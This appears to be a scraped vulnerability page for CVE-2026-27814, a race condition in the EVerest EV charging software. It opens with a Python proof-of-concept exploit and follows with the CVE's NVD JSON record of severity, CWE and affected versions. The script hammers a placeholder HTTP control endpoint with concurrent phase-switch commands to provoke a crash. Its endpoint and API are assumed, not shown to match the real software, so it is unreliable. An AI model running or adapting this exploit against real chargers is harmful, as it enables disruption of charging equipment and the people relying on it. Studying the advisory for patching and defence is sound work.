CVE-2026-27814

# PoC for CVE-2026-27814: Triggering Data Race in EVerest import threading import requests import time # Target configuration TARGET_URL = "http://<target-ip>:<port>/api/control" HEADERS = {"Content-Type": "application/json"} # Payload to trigger the race condition payload_switch = { "command": "ac_switch_three_phases_while_charging", "enable": True } def trigger_state_machine_load(): """Simulates the state machine loop activity.""" while True: try: requests.get(f"{TARGET_URL}/status", timeout=2) except Exception: break def trigger_race_condition(): """Sends rapid concurrent requests to exploit the data race.""" for _ in range(50): try: requests.post(TARGET_URL, json=payload_switch, headers=HEADERS, timeout=1) except Exception: pass if __name__ == "__main__": # Create threads to simulate concurrent execution t1 = threading.Thread(target=trigger_state_machine_load) t2 = threading.Thread(target=trigger_race_condition) t1.start() t2.start() # Wait for potential crash or UB manifestation time.sleep(10)

{"cve": {"id": "CVE-2026-27814", "sourceIdentifier": "[email protected]", "published": "2026-03-26T17:16:33.910", "lastModified": "2026-03-31T14:53:24.250", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "EVerest is an EV charging software stack. Versions prior to 2026.02.0 have a data race (C++ UB) triggered by an A 1-phase ↔ 3-phase switch request (`ac_switch_three_phases_while_charging`) during charging/waiting executes concurrently with the state machine loop. Version 2026.02.0 contains a patch."}, {"lang": "es", "value": "EVerest es una pila de software de carga de vehículos eléctricos. Las versiones anteriores a la 2026.02.0 tienen una condición de carrera de datos (C++ UB) desencadenada por una solicitud de un switch A de 1 fase ? 3 fases (`ac_switch_three_phases_while_charging`) durante la carga/espera que se ejecuta concurrentemente con el bucle de la máquina de estados. La versión 2026.02.0 contiene un parche."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 4.2, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 4.2, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linuxfoundation:everest:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026.02.0", "matchCriteriaId": "EB167E67-6808-4F7B-9505-FFF0C02B288C"}]}]}], "references": [{"url": "https://github.com/EVerest/EVerest/security/advisories/GHSA-5528-wc53-v557", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}